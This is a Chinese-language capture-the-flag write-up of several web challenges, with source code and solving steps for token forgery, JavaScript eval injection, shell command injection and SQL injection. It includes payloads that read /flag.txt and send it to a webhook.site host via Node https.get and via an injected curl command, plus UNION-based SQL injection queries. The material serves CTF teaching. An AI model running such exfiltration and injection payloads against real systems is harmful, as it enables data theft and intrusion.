官方wp地址

韩国老外的wp

Blackbox

image-20230501140913517

这里的话访问会报错,就是个文件包含,然后可以尝试用伪协议进行读取文件内容

image-20230501141309538

扫目录的时候发先git源码泄露 于是使用githack工具去看能否读取到一些东西

image-20230501142033211

读取到了文件,然后并下载下来了

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$resource = 'home';

require './config.php';
require './util.php';

set_include_path(INCLUDE_DIR);

if(isset($_GET['page'])) {
$resource = $_GET['page'];
include($_GET['page'] . '.php');
} else {
include('home.php');
}
?>

util.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
function db_login(string $username, string $password) {
$db = new SQLite3(DB_FILE);
$statement = $db->prepare('SELECT key FROM users WHERE username=:uname AND password=:passwd;');

$statement->bindValue(':uname', $username);
$statement->bindValue(':passwd', $password);

return $statement->execute();
}

function try_auth(string $username, string $password) {
$hash_password = hash('sha256', $password);
return db_login($username, $hash_password)->fetchArray();
}

function generate_guest_token() {
$data = array('username'=>'guest', 'user_key'=>bin2hex(random_bytes(8)), 'admin'=>false);
return generate_token($data);
}

function generate_admin_token(string $username, string $user_key) {
$data = array('username'=>$username, 'user_key'=>$user_key, 'admin'=>true);
return generate_token($data);
}

function generate_token(array $data) {
$b64json = base64_encode(json_encode($data));
$hmac = hash('md5', SECRET_KEY . $b64json);

return $b64json . '.' . $hmac;
}

function verify_token(string $token) {
$token_data = explode('.', $token);
if(hash('md5', SECRET_KEY . $token_data[0]) == $token_data[1]) {
return true;
}
return false;
}

function is_admin(string $token) {
if(verify_token($token)) {
$db = new SQLite3(DB_FILE);

$data = json_decode(base64_decode(explode('.', $token)[0]), TRUE);
$username = $data['username'];
$user_key = $data['user_key'];
$admin = $data['admin'];

$statement = $db->prepare('SELECT * FROM users WHERE username=:uname AND key=:ukey;');
$statement->bindValue(':uname', $username);
$statement->bindValue(':ukey', $user_key);
$result = $statement->execute();

if($result != false && $result->fetchArray() != false && $admin == true) {
return true;
}
return false;
}
}
?>

image-20230501142551816

因为index.php里面有config.php所以就下载下来查看

config.php

1
2
3
4
5
6
<?php
const APP_NAME = 'Blackbox';
const INCLUDE_DIR = './templates/';
const DB_FILE = '../sqlite/site-data.db';
const SECRET_KEY = 'JYOFGX6w5ylmYXyHuMM2Rm7neHXLrBd2V0f5No3NlP8';
?>

login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
if(!isset($_COOKIE['auth_token'])) {
setcookie('auth_token', generate_guest_token(), time() + (86400*30), '/');
} else if(is_admin($_COOKIE['auth_token'])) {
header('Location: ?page=admin');
die();
}

if(isset($_POST['username']) && isset($_POST['password'])) {
$result = try_auth($_POST['username'], $_POST['password']);
if($result != false) {
setcookie('auth_token', generate_admin_token($_POST['username'], end($result)), time() + (86400*30), '/');
header('Location: ?page=admin');
die();
}
}
?>

<?php include(INCLUDE_DIR . 'header.php'); ?>
<main>
<div class="login">
<center>
<form action="?page=login", method="post">
<input class="username" placeholder="Username" name="username" id="username"></input><br>
<input type="password" class="password" placeholder="Password" name="password" id="password"></input><br>
<button class="submit">Login</button>
</form>
</center>
</div>
</main>
<?php include(INCLUDE_DIR . 'footer.php'); ?>

admin.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(!isset($_COOKIE['auth_token']) || !is_admin($_COOKIE['auth_token'])) {
header('Location: ?page=login');
die();
}
?>

<?php include(INCLUDE_DIR . 'header.php'); ?>
<center>
<h1><?php include('/flag.txt'); ?></h1>
</center>
<?php include(INCLUDE_DIR . 'footer.php'); ?>

结合上面的代码就可以发现只要auth_token能判定为管理员的话,就可以跳转到?page=admin

所以接先去login页面拿到cookie

1
eyJ1c2VybmFtZSI6Imd1ZXN0IiwidXNlcl9rZXkiOiJlZGEzNTBkYjFiNzk3NjRiIiwiYWRtaW4iOnRydWV9.fab86457458d9707b051bc8bb7619e8c

然后进行解码

1
{"username":"guest","user_key":"eda350db1b79764b","admin":true}

这里的话伪造的话就很关键了,user_key的话要成功伪造成admin的user_key,所以git源码泄露的数据库就有用了

image-20230501143637851

查看这个数据库就会发现有个admin的user_key

然后进行修改使用

然后结合util.php里的代码进行使用

就是生成加密字符串后面的签名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
const SECRET_KEY = 'JYOFGX6w5ylmYXyHuMM2Rm7neHXLrBd2V0f5No3NlP8';
function generate_token(array $data) {
$b64json = base64_encode(json_encode($data));
$hmac = hash('md5', SECRET_KEY . $b64json);

return $b64json . '.' . $hmac;
}
function verify_token(string $token) {
$token_data = explode('.', $token);
echo hash('md5', SECRET_KEY . $token_data[0]);
if(hash('md5', SECRET_KEY . $token_data[0]) == $token_data[1]) {
return true;
}
return false;
}
$a = "eyJ1c2VybmFtZSI6ImFkbWluIiwidXNlcl9rZXkiOiIyNmNlYjY4NWY0NmU2ZDIyIiwiYWRtaW4iOnRydWV9.58fed7114a165282749650cf5458d31f";
var_dump(verify_token($a));

image-20230501145041707

然后就可以拿到flag了

Migraine

题目

image-20230501145238358

题目给了个源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
const path = require('path');
const express = require("express");
const app = express();
const port = 8000;

app.use(express.json());

process.on('uncaughtException', (err, origin) => {
console.log(err);
});

app.get("/", function (req, res) {
res.sendFile(path.join(__dirname+'/static/index.html'));
});

app.post("/", function (req, res) {
var src = req.body['src'];

if (src.match(/[A-Za-z0-9]/) != null) {
res.status(418).end('Bad character detected.');
return;
}

try {
eval(src);
} catch(err) {
res.status(418).end('Error on eval.');
return;
}

res.status(200).send('Success!');
return;
});

app.listen(port, function () {
console.log(`Example app listening on port ${port}!`);
});

是一个javascript的命令执行,把数字字母全给过滤掉了,就是无数字字母的rce

这里的话就得使用jsfuck进行绕过了

1
process.mainModule.require("https").get("https://webhook.site/24e1c10f-df56-4421-8d89-a7ea91aa8610/?flag="+process.mainModule.require("fs").readFileSync("/flag.txt").toString())

这个代码和ctfshow nodejs里面的那个一样, 下次遇到的话可以进行参考

如何进行jsfuck编码,然后到题目里运行,然后在webhook.site就能接收到flag了

image-20230501203954385

connect

题目

image-20230501161122636

题目给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import flask
import os

def escape_shell_cmd(data):
for char in data:
if char in '&#;`|*?~<>^()[]{}$\\':
return False
else:
return True

app = flask.Flask(__name__)

@app.route('/', methods=['GET'])
def index():
return flask.render_template('index.html')

@app.route('/api/curl', methods=['POST'])
def curl():
url = flask.request.form.get('ip')
if escape_shell_cmd(url):
command = "curl -s -D - -o /dev/null " + url + " | grep -oP '^HTTP.+[0-9]{3}'"
output = os.popen(command).read().strip()
if 'HTTP' not in output:
return flask.jsonify({'message': 'Error: No response'})
return flask.jsonify({'message': output})

else:
return flask.jsonify({'message': 'Illegal Characters Detected'})

if __name__ == '__main__':
app.run(host='0.0.0.0', port=8001)

这里的考点就是curl命令 的使用

这里先随便拿个题目的网站进行测试,然后抓包

image-20230501185955703

发现可以

image-20230501190019175

然后测试一下看能否使用 ;进行分割

image-20230501190123233

发现可以

然后就用题目给的payload来打了

先监听端口

image-20230501190208427

payload

1
ip=http://localhost;curl+-d@flag.txt+https://webhook.site/24e1c10f-df56-4421-8d89-a7ea91aa8610

这里的话用的是专门接收http请求头的一个网站 https://webhook.site/

这里的话用自己的vps不知道为啥行不通

image-20230501202013603

这里的-d是使用POST请求,因为GET请求的话不会返回flag

Lost and Forgotten

我好像忘记了我最近写的文章的密码。请问有没有什么办法可以恢复。

image-20230501202323192

考察的是sql注入

image-20230502150703358

输入下面的内容的话会把wp全部给输出出来,那么我们就怀疑是不是sql注入

1
' #

输入下面的语句

1
' or 1 union select 1,2,3,4,5,6#

image-20230502150852836

返回这结果,那么就说明了是sql注入了,并且在123出都有回显,那么我们就在这几个地方进行sql注入了

image-20230502151259631

1
' or 1 union select 1,2,(select database()),4,5,6#

查出数据名

接着查表名

1
' or 1 union select 1,2,(select table_name from information_schema.tables where table_schema = "writeups"),4,5,6#

image-20230502151547929

查出表名,接着查列名

1
' or 1 union select 1,2,(select column_name from information_schema.columns where table_schema=database() and table_name="articles" limit 1,1),4,5,6#

image-20230502151714536

limit 1,1查出来一个,那么接着往后查

image-20230502151807267

image-20230502151829926

image-20230502151844439

image-20230502151859864

最多能查到limit 5,1 之后的就查不到了,那么我们就挨个对列进行内容的读取

1
' or 1 union select 1,2,access_code,4,5,6 from articles #

image-20230502152041491

最后查到加密后的flag

image-20230502152333647

最好放到secret code里面就可以解出flag了

Web LTO

image-20230501204706377

image-20230501204726316

main.rs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
use actix_files::NamedFile;
use actix_multipart::Multipart;
use actix_web::cookie::Cookie;
use actix_web::http::StatusCode;
use actix_web::{get, post, App, HttpRequest, HttpResponse, HttpServer, Responder, Result};
use futures_util::stream::TryStreamExt;
use futures_util::StreamExt;
use rand::{thread_rng, RngCore};
use std::collections::hash_map::DefaultHasher;
use std::fs::create_dir_all;
use std::hash::{Hash, Hasher};
use std::io::{ErrorKind, SeekFrom};
use std::path::PathBuf;
use std::str::FromStr;
use tokio::fs::{remove_file, write, File, OpenOptions};
use tokio::io::AsyncReadExt;
use tokio::io::{copy, AsyncSeekExt};
use tokio_util::io::StreamReader;

async fn handle_multipart(user_dir: &PathBuf, mut multipart: Multipart) -> Result<()> {
let mut count = 0;

// optimised from: https://github.com/actix/examples/blob/db5f00e771573023a1d3de402f47a661c5799ec9/forms/multipart/src/main.rs#L8
while let Some(field) = multipart.try_next().await? {
count += 1;
if count > 16 {
return Err(std::io::Error::new(
ErrorKind::InvalidInput,
"Too many files provided in input!",
)
.into());
}
let content_disposition = field.content_disposition();

if let Some(filename) = content_disposition.get_filename() {
let mut hasher = DefaultHasher::new();
filename.hash(&mut hasher);
let mut tmp = PathBuf::from_str("tmp/").unwrap();
tmp.push(format!("{:016x}", hasher.finish()));

let mut file = OpenOptions::new()
.read(true)
.write(true)
.create(true)
.open(&tmp)
.await?;

let mut freader = StreamReader::new(field.map(|result| {
// StreamReader-friendly
result.map_err(|err| std::io::Error::new(ErrorKind::Other, err))
}))
.take(1 << 16); // max file size

copy(&mut freader, &mut file).await?;

// upload succeeded; copy to user area
let destination = user_dir.join(
tmp.file_name()
.expect("Must be present based on filename creation."),
);

// avoid overhead from open()
file.seek(SeekFrom::Start(0)).await?;
let mut orig = file;
let mut dest = File::create(&destination).await?;

copy(&mut orig, &mut dest).await?;

// cleanup
drop(orig);
drop(dest);
remove_file(tmp).await?;
} else {
return Err(std::io::Error::new(
ErrorKind::InvalidInput,
"Missing filename from provided file.".to_string(),
)
.into());
}
}
Ok(())
}

#[post("/")]
async fn upload(req: HttpRequest, multipart: Multipart) -> Result<HttpResponse> {
if let Some(user) = req.cookie("whoami") {
let mut hasher = DefaultHasher::new();
user.value().hash(&mut hasher);
let user_dir = PathBuf::from(format!("user/{:016x}", hasher.finish()));
create_dir_all(&user_dir)?;

if let Err(e) = handle_multipart(&user_dir, multipart).await {
write(user_dir.join("error"), e.to_string()).await?;
}

let mut body = Vec::new();
let mut tar = tar::Builder::new(&mut body);
tar.append_dir_all("submitted", user_dir)?;
drop(tar);
Ok(HttpResponse::build(StatusCode::OK)
.content_type("application/tar")
.insert_header(("Content-Disposition", "attachment"))
.body(body)
.respond_to(&req)
.map_into_boxed_body())
} else {
Ok(HttpResponse::new(StatusCode::UNAUTHORIZED))
}
}

#[get("/")]
async fn index(req: HttpRequest) -> Result<HttpResponse> {
let mut res = NamedFile::open("www/index.html")?.into_response(&req);
if req.cookie("whoami").is_none() {
let mut rng = thread_rng();
let mut ident = [0u8; 256]; // big un-bruteforce-able bytes
rng.fill_bytes(&mut ident);
res.add_cookie(
&Cookie::build("whoami", hex::encode(ident))
.http_only(true)
.finish(),
)?;
}
Ok(res)
}

#[actix_web::main]
async fn main() -> std::io::Result<()> {
let addr = std::env::var("SERVER_ADDR")
.expect("Couldn't find an appropriate server address; did you set SERVER_ADDR?");
HttpServer::new(|| App::new().service(index).service(upload))
.bind_uds(addr)?
.run()
.await
}

详解wp 这里不太想看就不写了

Flag Fetcher

题目

两道题都是rust

详细wp

接下来就不写了